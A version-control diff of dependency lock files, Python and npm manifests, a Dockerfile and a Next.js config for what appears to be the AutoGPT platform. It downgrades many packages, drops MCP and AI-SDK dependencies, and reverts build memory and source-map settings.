-    {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:dc1272e25ef673efe72f2096e92ae39dea1a1a450dd44918b15351f72c5a168e"},
-    {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:de0f5f4ec8711ebc555f54735d4c673fc34b65c44283895f1a08c2b49d2fd99c"},
-    {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:eeeb2e33d8dbcccc34d64651f00a98cb41b2dc69cef866771a5717e6734dfa32"},
-    {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:3d425eacbc9aceafd2cb429e42f4e5d5633c6f873f5e567077043ef1b9bbf616"},
-    {file = "cryptography-46.0.4-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:91627ebf691d1ea3976a031b61fb7bac1ccd745afa03602275dda443e11c8de0"},
-    {file = "cryptography-46.0.4-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:2d08bc22efd73e8854b0b7caff402d735b354862f1145d7be3b9c0f740fef6a0"},
-    {file = "cryptography-46.0.4-cp311-abi3-win32.whl", hash = "sha256:82a62483daf20b8134f6e92898da70d04d0ef9a75829d732ea1018678185f4f5"},
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 [package.dependencies]
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-typing-extensions = {version = ">=4.13.2", markers = "python_full_version < \"3.11.0\""}
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 [package.extras]
-docs = ["sphinx (>=5.3.0)", "sphinx-inline-tabs", "sphinx-rtd-theme (>=3.0.0)"]
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 sdist = ["build (>=1.0.0)"]
 ssh = ["bcrypt (>=3.1.5)"]
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 test-randomorder = ["pytest-randomly"]
 
 [[package]]
@@ -1172,23 +1135,6 @@ idna = ["idna (>=3.10)"]
 trio = ["trio (>=0.30)"]
 wmi = ["wmi (>=1.5.1) ; platform_system == \"Windows\""]
 
-[[package]]
-name = "docstring-parser"
-version = "0.17.0"
-description = "Parse Python docstrings in reST, Google and Numpydoc format"
-optional = false
-python-versions = ">=3.8"
-groups = ["main"]
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-
-[package.extras]
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-docs = ["pydoctor (>=25.4.0)"]
-test = ["pytest"]
-
 [[package]]
 name = "dulwich"
 version = "0.22.8"
@@ -1405,14 +1351,14 @@ tzdata = "*"
 
 [[package]]
 name = "fastapi"
-version = "0.128.6"
+version = "0.128.3"
 description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production"
 optional = false
 python-versions = ">=3.9"
 groups = ["main"]
 files = [
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 ]
 
 [package.dependencies]
@@ -2616,18 +2562,6 @@ http2 = ["h2 (>=3,<5)"]
 socks = ["socksio (==1.*)"]
 zstd = ["zstandard (>=0.18.0)"]
 
-[[package]]
-name = "httpx-sse"
-version = "0.4.3"
-description = "Consume Server-Sent Event (SSE) messages with HTTPX."
-optional = false
-python-versions = ">=3.9"
-groups = ["main"]
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-
 [[package]]
 name = "huggingface-hub"
 version = "1.4.1"
@@ -3113,14 +3047,14 @@ type = ["pygobject-stubs", "pytest-mypy (>=1.0.1)", "shtab", "types-pywin32"]
 
 [[package]]
 name = "langfuse"
-version = "3.14.1"
+version = "3.13.0"
 description = "A client library for accessing langfuse"
 optional = false
 python-versions = "<4.0,>=3.10"
 groups = ["main"]
 files = [
-    {file = "langfuse-3.14.1-py3-none-any.whl", hash = "sha256:17bed605dbfc9947cbd1738a715f6d27c1b80b6da9f2946586171958fa5820d0"},
-    {file = "langfuse-3.14.1.tar.gz", hash = "sha256:404a6104cd29353d7829aa417ec46565b04917e5599afdda96c5b0865f4bc991"},
+    {file = "langfuse-3.13.0-py3-none-any.whl", hash = "sha256:71912ddac1cc831a65df895eae538a556f564c094ae51473e747426e9ded1a9d"},
+    {file = "langfuse-3.13.0.tar.gz", hash = "sha256:dacea8111ca4442e97dbfec4f8d676cf9709b35357a26e468f8887b95de0012f"},
 ]
 
 [package.dependencies]
@@ -3345,39 +3279,6 @@ files = [
     {file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"},
 ]
 
-[[package]]
-name = "mcp"
-version = "1.26.0"
-description = "Model Context Protocol SDK"
-optional = false
-python-versions = ">=3.10"
-groups = ["main"]
-files = [
-    {file = "mcp-1.26.0-py3-none-any.whl", hash = "sha256:904a21c33c25aa98ddbeb47273033c435e595bbacfdb177f4bd87f6dceebe1ca"},
-    {file = "mcp-1.26.0.tar.gz", hash = "sha256:db6e2ef491eecc1a0d93711a76f28dec2e05999f93afd48795da1c1137142c66"},
-]
-
-[package.dependencies]
-anyio = ">=4.5"
-httpx = ">=0.27.1"
-httpx-sse = ">=0.4"
-jsonschema = ">=4.20.0"
-pydantic = ">=2.11.0,<3.0.0"
-pydantic-settings = ">=2.5.2"
-pyjwt = {version = ">=2.10.1", extras = ["crypto"]}
-python-multipart = ">=0.0.9"
-pywin32 = {version = ">=310", markers = "sys_platform == \"win32\""}
-sse-starlette = ">=1.6.1"
-starlette = ">=0.27"
-typing-extensions = ">=4.9.0"
-typing-inspection = ">=0.4.1"
-uvicorn = {version = ">=0.31.1", markers = "sys_platform != \"emscripten\""}
-
-[package.extras]
-cli = ["python-dotenv (>=1.0.0)", "typer (>=0.16.0)"]
-rich = ["rich (>=13.9.4)"]
-ws = ["websockets (>=15.0.1)"]
-
 [[package]]
 name = "mdurl"
 version = "0.1.2"
@@ -4031,14 +3932,14 @@ signedtoken = ["cryptography (>=3.0.0)", "pyjwt (>=2.0.0,<3)"]
 
 [[package]]
 name = "ollama"
-version = "0.6.1"
+version = "0.5.4"
 description = "The official Python client for Ollama."
 optional = false
 python-versions = ">=3.8"
 groups = ["main"]
 files = [
-    {file = "ollama-0.6.1-py3-none-any.whl", hash = "sha256:fc4c984b345735c5486faeee67d8a265214a31cbb828167782dc642ce0a2bf8c"},
-    {file = "ollama-0.6.1.tar.gz", hash = "sha256:478c67546836430034b415ed64fa890fd3d1ff91781a9d548b3325274e69d7c6"},
+    {file = "ollama-0.5.4-py3-none-any.whl", hash = "sha256:6374c9bb4f2a371b3583c09786112ba85b006516745689c172a7e28af4d4d1a2"},
+    {file = "ollama-0.5.4.tar.gz", hash = "sha256:75857505a5d42e5e58114a1b78cc8c24596d8866863359d8a2329946a9b6d6f3"},
 ]
 
 [package.dependencies]
@@ -4708,20 +4609,20 @@ testing = ["coverage", "pytest", "pytest-benchmark"]
 
 [[package]]
 name = "poethepoet"
-version = "0.41.0"
+version = "0.37.0"
 description = "A task runner that works well with poetry and uv."
 optional = false
-python-versions = ">=3.10"
+python-versions = ">=3.9"
 groups = ["dev"]
 files = [
-    {file = "poethepoet-0.41.0-py3-none-any.whl", hash = "sha256:4bab9fd8271664c5d21407e8f12827daeb6aa484dc6cc7620f0c3b4e62b42ee4"},
-    {file = "poethepoet-0.41.0.tar.gz", hash = "sha256:dcaad621dc061f6a90b17d091bebb9ca043d67bfe9bd6aa4185aea3ebf7ff3e6"},
+    {file = "poethepoet-0.37.0-py3-none-any.whl", hash = "sha256:861790276315abcc8df1b4bd60e28c3d48a06db273edd3092f3c94e1a46e5e22"},
+    {file = "poethepoet-0.37.0.tar.gz", hash = "sha256:73edf458707c674a079baa46802e21455bda3a7f82a408e58c31b9f4fe8e933d"},
 ]
 
 [package.dependencies]
 pastel = ">=0.2.1,<0.3.0"
-pyyaml = ">=6.0.3,<7.0"
-tomli = {version = ">=1.3.0", markers = "python_version < \"3.11\""}
+pyyaml = ">=6.0.2,<7.0"
+tomli = {version = ">=1.2.2", markers = "python_version < \"3.11\""}
 
 [package.extras]
 poetry-plugin = ["poetry (>=1.2.0,<3.0.0) ; python_version < \"4.0\""]
@@ -4796,14 +4697,14 @@ tests = ["coverage-conditional-plugin (>=0.9.0)", "portalocker[redis]", "pytest
 
 [[package]]
 name = "postgrest"
-version = "2.27.3"
+version = "2.27.2"
 description = "PostgREST client for Python. This library provides an ORM interface to PostgREST."
 optional = false
 python-versions = ">=3.9"
 groups = ["main"]
 files = [
-    {file = "postgrest-2.27.3-py3-none-any.whl", hash = "sha256:ed79123af7127edd78d538bfe8351d277e45b1a36994a4dbf57ae27dde87a7b7"},
-    {file = "postgrest-2.27.3.tar.gz", hash = "sha256:c2e2679addfc8eaab23197bad7ddaee6cbb4cbe8c483ebd2d2e5219543037cc3"},
+    {file = "postgrest-2.27.2-py3-none-any.whl", hash = "sha256:1666fef3de05ca097a314433dd5ae2f2d71c613cb7b233d0f468c4ffe37277da"},
+    {file = "postgrest-2.27.2.tar.gz", hash = "sha256:55407d530b5af3d64e883a71fec1f345d369958f723ce4a8ab0b7d169e313242"},
 ]
 
 [package.dependencies]
@@ -4961,19 +4862,17 @@ tqdm = "*"
 
 [[package]]
 name = "prometheus-client"
-version = "0.24.1"
+version = "0.22.1"
 description = "Python client for the Prometheus monitoring system."
 optional = false
 python-versions = ">=3.9"
 groups = ["main"]
 files = [
-    {file = "prometheus_client-0.24.1-py3-none-any.whl", hash = "sha256:150db128af71a5c2482b36e588fc8a6b95e498750da4b17065947c16070f4055"},
-    {file = "prometheus_client-0.24.1.tar.gz", hash = "sha256:7e0ced7fbbd40f7b84962d5d2ab6f17ef88a72504dcf7c0b40737b43b2a461f9"},
+    {file = "prometheus_client-0.22.1-py3-none-any.whl", hash = "sha256:cca895342e308174341b2cbf99a56bef291fbc0ef7b9e5412a0f26d653ba7094"},
+    {file = "prometheus_client-0.22.1.tar.gz", hash = "sha256:190f1331e783cf21eb60bca559354e0a4d4378facecf78f5428c39b675d20d28"},
 ]
 
 [package.extras]
-aiohttp = ["aiohttp"]
-django = ["django"]
 twisted = ["twisted"]
 
 [[package]]
@@ -5987,18 +5886,18 @@ pytest = ">=3.0.0"
 
 [[package]]
 name = "pytest-watcher"
-version = "0.6.3"
+version = "0.4.3"
 description = "Automatically rerun your tests on file modifications"
 optional = false
-python-versions = ">=3.9"
+python-versions = "<4.0.0,>=3.7.0"
 groups = ["dev"]
 files = [
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-    {file = "pytest_watcher-0.6.3.tar.gz", hash = "sha256:842dc904264df0ad2d5264153a66bb452fccfa46598cd6e0a5ef1d19afed9b13"},
+    {file = "pytest_watcher-0.4.3-py3-none-any.whl", hash = "sha256:d59b1e1396f33a65ea4949b713d6884637755d641646960056a90b267c3460f9"},
+    {file = "pytest_watcher-0.4.3.tar.gz", hash = "sha256:0cb0e4661648c8c0ff2b2d25efa5a8e421784b9e4c60fcecbf9b7c30b2d731b3"},
 ]
 
 [package.dependencies]
-tomli = {version = ">=2.0.1", markers = "python_version < \"3.11\""}
+tomli = {version = ">=2.0.1,<3.0.0", markers = "python_version < \"3.11\""}
 watchdog = ">=2.0.0"
 
 [[package]]
@@ -6033,14 +5932,14 @@ cli = ["click (>=5.0)"]
 
 [[package]]
 name = "python-multipart"
-version = "0.0.22"
+version = "0.0.20"
 description = "A streaming multipart parser for Python"
 optional = false
-python-versions = ">=3.10"
+python-versions = ">=3.8"
 groups = ["main"]
 files = [
-    {file = "python_multipart-0.0.22-py3-none-any.whl", hash = "sha256:2b2cd894c83d21bf49d702499531c7bafd057d730c201782048f7945d82de155"},
-    {file = "python_multipart-0.0.22.tar.gz", hash = "sha256:7340bef99a7e0032613f56dc36027b959fd3b30a787ed62d310e951f7c3a3a58"},
+    {file = "python_multipart-0.0.20-py3-none-any.whl", hash = "sha256:8a62d3a8335e06589fe01f2a3e178cdcc632f3fbe0d492ad9ee0ec35aab1f104"},
+    {file = "python_multipart-0.0.20.tar.gz", hash = "sha256:8dd0cab45b8e23064ae09147625994d090fa46f5b0d1e13af944c331a7fa9d13"},
 ]
 
 [[package]]
@@ -6062,7 +5961,7 @@ description = "Python for Window Extensions"
 optional = false
 python-versions = "*"
 groups = ["main"]
-markers = "sys_platform == \"win32\" or platform_system == \"Windows\""
+markers = "platform_system == \"Windows\""
 files = [
     {file = "pywin32-311-cp310-cp310-win32.whl", hash = "sha256:d03ff496d2a0cd4a5893504789d4a15399133fe82517455e78bad62efbb7f0a3"},
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@@ -6328,14 +6227,14 @@ all = ["numpy"]
 
 [[package]]
 name = "realtime"
-version = "2.27.3"
+version = "2.27.2"
 description = ""
 optional = false
 python-versions = ">=3.9"
 groups = ["main"]
 files = [
-    {file = "realtime-2.27.3-py3-none-any.whl", hash = "sha256:f571115f86988e33c41c895cb3fba2eaa1b693aeaede3617288f44274ca90f43"},
-    {file = "realtime-2.27.3.tar.gz", hash = "sha256:02b082243107656a5ef3fb63e8e2ab4c40bc199abb45adb8a42ed63f089a1041"},
+    {file = "realtime-2.27.2-py3-none-any.whl", hash = "sha256:34a9cbb26a274e707e8fc9e3ee0a66de944beac0fe604dc336d1e985db2c830f"},
+    {file = "realtime-2.27.2.tar.gz", hash = "sha256:b960a90294d2cea1b3f1275ecb89204304728e08fff1c393cc1b3150739556b3"},
 ]
 
 [package.dependencies]
@@ -6740,30 +6639,31 @@ pyasn1 = ">=0.1.3"
 
 [[package]]
 name = "ruff"
-version = "0.15.0"
+version = "0.14.14"
 description = "An extremely fast Python linter and code formatter, written in Rust."
 optional = false
 python-versions = ">=3.7"
 groups = ["dev"]
 files = [
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 ]
 
 [[package]]
@@ -7042,28 +6942,6 @@ postgresql-psycopgbinary = ["psycopg[binary] (>=3.0.7)"]
 pymysql = ["pymysql"]
 sqlcipher = ["sqlcipher3_binary"]
 
-[[package]]
-name = "sse-starlette"
-version = "3.2.0"
-description = "SSE plugin for Starlette"
-optional = false
-python-versions = ">=3.9"
-groups = ["main"]
-files = [
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-]
-
-[package.dependencies]
-anyio = ">=4.7.0"
-starlette = ">=0.49.1"
-
-[package.extras]
-daphne = ["daphne (>=4.2.0)"]
-examples = ["aiosqlite (>=0.21.0)", "fastapi (>=0.115.12)", "sqlalchemy[asyncio] (>=2.0.41)", "uvicorn (>=0.34.0)"]
-granian = ["granian (>=2.3.1)"]
-uvicorn = ["uvicorn (>=0.34.0)"]
-
 [[package]]
 name = "stagehand"
 version = "0.5.9"
@@ -7114,14 +6992,14 @@ full = ["httpx (>=0.27.0,<0.29.0)", "itsdangerous", "jinja2", "python-multipart
 
 [[package]]
 name = "storage3"
-version = "2.27.3"
+version = "2.27.2"
 description = "Supabase Storage client for Python."
 optional = false
 python-versions = ">=3.9"
 groups = ["main"]
 files = [
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@@ -7181,35 +7059,35 @@ typing-extensions = {version = ">=4.5.0", markers = "python_version >= \"3.7\""}
 
 [[package]]
 name = "supabase"
-version = "2.27.3"
+version = "2.27.2"
 description = "Supabase client for Python."
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 python-versions = ">=3.9"
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-realtime = "2.27.3"
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-supabase-auth = "2.27.3"
-supabase-functions = "2.27.3"
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+realtime = "2.27.2"
+storage3 = "2.27.2"
+supabase-auth = "2.27.2"
+supabase-functions = "2.27.2"
 yarl = ">=1.22.0"
 
 [[package]]
 name = "supabase-auth"
-version = "2.27.3"
+version = "2.27.2"
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 optional = false
 python-versions = ">=3.9"
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 [package.dependencies]
@@ -7219,14 +7097,14 @@ pyjwt = {version = ">=2.10.1", extras = ["crypto"]}
 
 [[package]]
 name = "supabase-functions"
-version = "2.27.3"
+version = "2.27.2"
 description = "Library for Supabase Functions"
 optional = false
 python-versions = ">=3.9"
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 [package.dependencies]
@@ -7236,14 +7114,14 @@ yarl = ">=1.20.1"
 
 [[package]]
 name = "tenacity"
-version = "9.1.4"
+version = "9.1.3"
 description = "Retry code until it succeeds"
 optional = false
 python-versions = ">=3.10"
 groups = ["main"]
 files = [
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 [package.extras]
@@ -7252,69 +7130,43 @@ test = ["pytest", "tornado (>=4.5)", "typeguard"]
 
 [[package]]
 name = "tiktoken"
-version = "0.12.0"
+version = "0.9.0"
 description = "tiktoken is a fast BPE tokeniser for use with OpenAI's models"
 optional = false
 python-versions = ">=3.9"
 groups = ["main"]
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+    {file = "tiktoken-0.9.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:a6600660f2f72369acb13a57fb3e212434ed38b045fd8cc6cdd74947b4b5d210"},
+    {file = "tiktoken-0.9.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:95e811743b5dfa74f4b227927ed86cbc57cad4df859cb3b643be797914e41794"},
+    {file = "tiktoken-0.9.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:99376e1370d59bcf6935c933cb9ba64adc29033b7e73f5f7569f3aad86552b22"},
+    {file = "tiktoken-0.9.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:badb947c32739fb6ddde173e14885fb3de4d32ab9d8c591cbd013c22b4c31dd2"},
+    {file = "tiktoken-0.9.0-cp312-cp312-win_amd64.whl", hash = "sha256:5a62d7a25225bafed786a524c1b9f0910a1128f4232615bf3f8257a73aaa3b16"},
+    {file = "tiktoken-0.9.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:2b0e8e05a26eda1249e824156d537015480af7ae222ccb798e5234ae0285dbdb"},
+    {file = "tiktoken-0.9.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:27d457f096f87685195eea0165a1807fae87b97b2161fe8c9b1df5bd74ca6f63"},
+    {file = "tiktoken-0.9.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2cf8ded49cddf825390e36dd1ad35cd49589e8161fdcb52aa25f0583e90a3e01"},
+    {file = "tiktoken-0.9.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cc156cb314119a8bb9748257a2eaebd5cc0753b6cb491d26694ed42fc7cb3139"},
+    {file = "tiktoken-0.9.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cd69372e8c9dd761f0ab873112aba55a0e3e506332dd9f7522ca466e817b1b7a"},
+    {file = "tiktoken-0.9.0-cp313-cp313-win_amd64.whl", hash = "sha256:5ea0edb6f83dc56d794723286215918c1cde03712cbbafa0348b33448faf5b95"},
+    {file = "tiktoken-0.9.0-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:c6386ca815e7d96ef5b4ac61e0048cd32ca5a92d5781255e13b31381d28667dc"},
+    {file = "tiktoken-0.9.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:75f6d5db5bc2c6274b674ceab1615c1778e6416b14705827d19b40e6355f03e0"},
+    {file = "tiktoken-0.9.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e15b16f61e6f4625a57a36496d28dd182a8a60ec20a534c5343ba3cafa156ac7"},
+    {file = "tiktoken-0.9.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3ebcec91babf21297022882344c3f7d9eed855931466c3311b1ad6b64befb3df"},
+    {file = "tiktoken-0.9.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:e5fd49e7799579240f03913447c0cdfa1129625ebd5ac440787afc4345990427"},
+    {file = "tiktoken-0.9.0-cp39-cp39-win_amd64.whl", hash = "sha256:26242ca9dc8b58e875ff4ca078b9a94d2f0813e6a535dcd2205df5d49d927cc7"},
+    {file = "tiktoken-0.9.0.tar.gz", hash = "sha256:d02a5ca6a938e0490e1ff957bc48c8b078c88cb83977be1625b1fd8aac792c5d"},
 ]
 
 [package.dependencies]
@@ -8530,4 +8382,4 @@ cffi = ["cffi (>=1.17,<2.0) ; platform_python_implementation != \"PyPy\" and pyt
 [metadata]
 lock-version = "2.1"
 python-versions = ">=3.10,<3.14"
-content-hash = "942dea6daf671c3be65a22f3445feda26c1af9409d7173765e9a0742f0aa05dc"
+content-hash = "40b2c87c3c86bd10214bd30ad291cead75da5060ab894105025ee4c0a3b3828e"

autogpt_platform/backend/pyproject.toml

@@ -12,17 +12,16 @@ python = ">=3.10,<3.14"
 aio-pika = "^9.5.5"
 aiohttp = "^3.10.0"
 aiodns = "^3.5.0"
-anthropic = "^0.79.0"
+anthropic = "^0.59.0"
 apscheduler = "^3.11.1"
 autogpt-libs = { path = "../autogpt_libs", develop = true }
 bleach = { extras = ["css"], version = "^6.2.0" }
-claude-agent-sdk = "^0.1.0"
 click = "^8.2.0"
-cryptography = "^46.0"
+cryptography = "^45.0"
 discord-py = "^2.5.2"
 e2b-code-interpreter = "^1.5.2"
 elevenlabs = "^1.50.0"
-fastapi = "^0.128.6"
+fastapi = "^0.128.0"
 feedparser = "^6.0.11"
 flake8 = "^7.3.0"
 google-api-python-client = "^2.177.0"
@@ -35,11 +34,11 @@ html2text = "^2024.2.26"
 jinja2 = "^3.1.6"
 jsonref = "^1.1.0"
 jsonschema = "^4.25.0"
-langfuse = "^3.14.1"
+langfuse = "^3.11.0"
 launchdarkly-server-sdk = "^9.14.1"
 mem0ai = "^0.1.115"
 moviepy = "^2.1.2"
-ollama = "^0.6.1"
+ollama = "^0.5.1"
 openai = "^1.97.1"
 orjson = "^3.10.0"
 pika = "^1.3.2"
@@ -49,7 +48,7 @@ postmarker = "^1.0"
 praw = "~7.8.1"
 prisma = "^0.15.0"
 rank-bm25 = "^0.2.2"
-prometheus-client = "^0.24.1"
+prometheus-client = "^0.22.1"
 prometheus-fastapi-instrumentator = "^7.0.0"
 psutil = "^7.0.0"
 psycopg2-binary = "^2.9.10"
@@ -58,7 +57,7 @@ pydantic-settings = "^2.12.0"
 pytest = "^8.4.1"
 pytest-asyncio = "^1.1.0"
 python-dotenv = "^1.1.1"
-python-multipart = "^0.0.22"
+python-multipart = "^0.0.20"
 redis = "^6.2.0"
 regex = "^2025.9.18"
 replicate = "^1.0.6"
@@ -66,8 +65,8 @@ sentry-sdk = {extras = ["anthropic", "fastapi", "launchdarkly", "openai", "sqlal
 sqlalchemy = "^2.0.40"
 strenum = "^0.4.9"
 stripe = "^11.5.0"
-supabase = "2.27.3"
-tenacity = "^9.1.4"
+supabase = "2.27.2"
+tenacity = "^9.1.2"
 todoist-api-python = "^2.1.7"
 tweepy = "^4.16.0"
 uvicorn = { extras = ["standard"], version = "^0.40.0" }
@@ -77,8 +76,8 @@ yt-dlp = "2025.12.08"
 zerobouncesdk = "^1.1.2"
 # NOTE: please insert new dependencies in their alphabetical location
 pytest-snapshot = "^0.9.0"
-aiofiles = "^25.1.0"
-tiktoken = "^0.12.0"
+aiofiles = "^24.1.0"
+tiktoken = "^0.9.0"
 aioclamd = "^1.0.0"
 setuptools = "^80.9.0"
 gcloud-aio-storage = "^9.5.0"
@@ -96,13 +95,13 @@ black = "^24.10.0"
 faker = "^38.2.0"
 httpx = "^0.28.1"
 isort = "^5.13.2"
-poethepoet = "^0.41.0"
+poethepoet = "^0.37.0"
 pre-commit = "^4.4.0"
 pyright = "^1.1.407"
 pytest-mock = "^3.15.1"
-pytest-watcher = "^0.6.3"
+pytest-watcher = "^0.4.2"
 requests = "^2.32.5"
-ruff = "^0.15.0"
+ruff = "^0.14.5"
 # NOTE: please insert new dependencies in their alphabetical location
 
 [build-system]

autogpt_platform/frontend/Dockerfile

@@ -25,12 +25,8 @@ RUN if [ -f .env.production ]; then \
       cp .env.default .env; \
     fi
 RUN pnpm run generate:api
-# Disable source-map generation in Docker builds to halve webpack memory usage.
-# Source maps are only useful when SENTRY_AUTH_TOKEN is set (Vercel deploys);
-# the Docker image never uploads them, so generating them just wastes RAM.
-ENV NEXT_PUBLIC_SOURCEMAPS="false"
 # In CI, we want NEXT_PUBLIC_PW_TEST=true during build so Next.js inlines it
-RUN if [ "$NEXT_PUBLIC_PW_TEST" = "true" ]; then NEXT_PUBLIC_PW_TEST=true NODE_OPTIONS="--max-old-space-size=8192" pnpm build; else NODE_OPTIONS="--max-old-space-size=8192" pnpm build; fi
+RUN if [ "$NEXT_PUBLIC_PW_TEST" = "true" ]; then NEXT_PUBLIC_PW_TEST=true NODE_OPTIONS="--max-old-space-size=4096" pnpm build; else NODE_OPTIONS="--max-old-space-size=4096" pnpm build; fi
 
 # Prod stage - based on NextJS reference Dockerfile https://github.com/vercel/next.js/blob/64271354533ed16da51be5dce85f0dbd15f17517/examples/with-docker/Dockerfile
 FROM node:21-alpine AS prod

autogpt_platform/frontend/next.config.mjs

@@ -1,12 +1,8 @@
 import { withSentryConfig } from "@sentry/nextjs";
 
-// Allow Docker builds to skip source-map generation (halves memory usage).
-// Defaults to true so Vercel/local builds are unaffected.
-const enableSourceMaps = process.env.NEXT_PUBLIC_SOURCEMAPS !== "false";
-
 /** @type {import('next').NextConfig} */
 const nextConfig = {
-  productionBrowserSourceMaps: enableSourceMaps,
+  productionBrowserSourceMaps: true,
   // Externalize OpenTelemetry packages to fix Turbopack HMR issues
   serverExternalPackages: [
     "@opentelemetry/instrumentation",
@@ -18,37 +14,9 @@ const nextConfig = {
     serverActions: {
       bodySizeLimit: "256mb",
     },
+    // Increase body size limit for API routes (file uploads) - 256MB to match backend limit
+    proxyClientMaxBodySize: "256mb",
     middlewareClientMaxBodySize: "256mb",
-    // Limit parallel webpack workers to reduce peak memory during builds.
-    cpus: 2,
-  },
-  // Work around cssnano "Invalid array length" bug in Next.js's bundled
-  // cssnano-simple comment parser when processing very large CSS chunks.
-  // CSS is still bundled correctly; gzip handles most of the size savings anyway.
-  webpack: (config, { dev }) => {
-    if (!dev) {
-      // Next.js adds CssMinimizerPlugin internally (after user config), so we
-      // can't filter it from config.plugins. Instead, intercept the webpack
-      // compilation hooks and replace the buggy plugin's tap with a no-op.
-      config.plugins.push({
-        apply(compiler) {
-          compiler.hooks.compilation.tap(
-            "DisableCssMinimizer",
-            (compilation) => {
-              compilation.hooks.processAssets.intercept({
-                register: (tap) => {
-                  if (tap.name === "CssMinimizerPlugin") {
-                    return { ...tap, fn: async () => {} };
-                  }
-                  return tap;
-                },
-              });
-            },
-          );
-        },
-      });
-    }
-    return config;
   },
   images: {
     domains: [
@@ -86,16 +54,9 @@ const nextConfig = {
   transpilePackages: ["geist"],
 };
 
-// Only run the Sentry webpack plugin when we can actually upload source maps
-// (i.e. on Vercel with SENTRY_AUTH_TOKEN set). The Sentry *runtime* SDK
-// (imported in app code) still captures errors without the plugin.
-// Skipping the plugin saves ~1 GB of peak memory during `next build`.
-const skipSentryPlugin =
-  process.env.NODE_ENV !== "production" ||
-  !enableSourceMaps ||
-  !process.env.SENTRY_AUTH_TOKEN;
+const isDevelopmentBuild = process.env.NODE_ENV !== "production";
 
-export default skipSentryPlugin
+export default isDevelopmentBuild
   ? nextConfig
   : withSentryConfig(nextConfig, {
       // For all available options, see:
@@ -135,7 +96,7 @@ export default skipSentryPlugin
 
       // This helps Sentry with sourcemaps... https://docs.sentry.io/platforms/javascript/guides/nextjs/sourcemaps/
       sourcemaps: {
-        disable: !enableSourceMaps,
+        disable: false,
         assets: [".next/**/*.js", ".next/**/*.js.map"],
         ignore: ["**/node_modules/**"],
         deleteSourcemapsAfterUpload: false, // Source is public anyway :)

autogpt_platform/frontend/package.json

@@ -7,7 +7,7 @@
   },
   "scripts": {
     "dev": "pnpm run generate:api:force && next dev --turbo",
-    "build": "cross-env NODE_OPTIONS=--max-old-space-size=16384 next build",
+    "build": "next build",
     "start": "next start",
     "start:standalone": "cd .next/standalone && node server.js",
     "lint": "next lint && prettier --check .",
@@ -30,7 +30,6 @@
     "defaults"
   ],
   "dependencies": {
-    "@ai-sdk/react": "3.0.61",
     "@faker-js/faker": "10.0.0",
     "@hookform/resolvers": "5.2.2",
     "@next/third-parties": "15.4.6",
@@ -61,10 +60,6 @@
     "@rjsf/utils": "6.1.2",
     "@rjsf/validator-ajv8": "6.1.2",
     "@sentry/nextjs": "10.27.0",
-    "@streamdown/cjk": "1.0.1",
-    "@streamdown/code": "1.0.1",
-    "@streamdown/math": "1.0.1",
-    "@streamdown/mermaid": "1.0.1",
     "@supabase/ssr": "0.7.0",
     "@supabase/supabase-js": "2.78.0",
     "@tanstack/react-query": "5.90.6",
@@ -73,7 +68,6 @@
     "@vercel/analytics": "1.5.0",
     "@vercel/speed-insights": "1.2.0",
     "@xyflow/react": "12.9.2",
-    "ai": "6.0.59",
     "boring-avatars": "1.11.2",
     "class-variance-authority": "0.7.1",
     "clsx": "2.1.1",
@@ -93,6 +87,7 @@
     "launchdarkly-react-client-sdk": "3.9.0",
     "lodash": "4.17.21",
     "lucide-react": "0.552.0",
+    "moment": "2.30.1",
     "next": "15.4.10",
     "next-themes": "0.4.6",
     "nuqs": "2.7.2",
@@ -107,7 +102,7 @@
     "react-markdown": "9.0.3",
     "react-modal": "3.16.3",
     "react-shepherd": "6.1.9",
-    "react-window": "2.2.0",
+    "react-window": "1.8.11",
     "recharts": "3.3.0",
     "rehype-autolink-headings": "7.1.0",
     "rehype-highlight": "7.0.2",
@@ -117,11 +112,9 @@
     "remark-math": "6.0.0",
     "shepherd.js": "14.5.1",
     "sonner": "2.0.7",
-    "streamdown": "2.1.0",
     "tailwind-merge": "2.6.0",
     "tailwind-scrollbar": "3.1.0",
     "tailwindcss-animate": "1.0.7",
-    "use-stick-to-bottom": "1.1.2",
     "uuid": "11.1.0",
     "vaul": "1.1.2",
     "zod": "3.25.76",
@@ -147,7 +140,7 @@
     "@types/react": "18.3.17",
     "@types/react-dom": "18.3.5",
     "@types/react-modal": "3.16.3",
-    "@types/react-window": "2.0.0",
+    "@types/react-window": "1.8.8",
     "@vitejs/plugin-react": "5.1.2",
     "axe-playwright": "2.2.2",
     "chromatic": "13.3.3",
@@ -179,8 +172,7 @@
   },
   "pnpm": {
     "overrides": {
-      "@opentelemetry/instrumentation": "0.209.0",
-      "lodash-es": "4.17.23"
+      "@opentelemetry/instrumentation": "0.209.0"
     }
   },
   "packageManager": "pnpm@10.20.0+sha512.cf9998222162dd85864d0a8102e7892e7ba4ceadebbf5a31f9c2fce48dfce317a9c53b9f6464d1ef9042cba2e02ae02a9f7c143a2b438cd93c91840f0192b9dd"

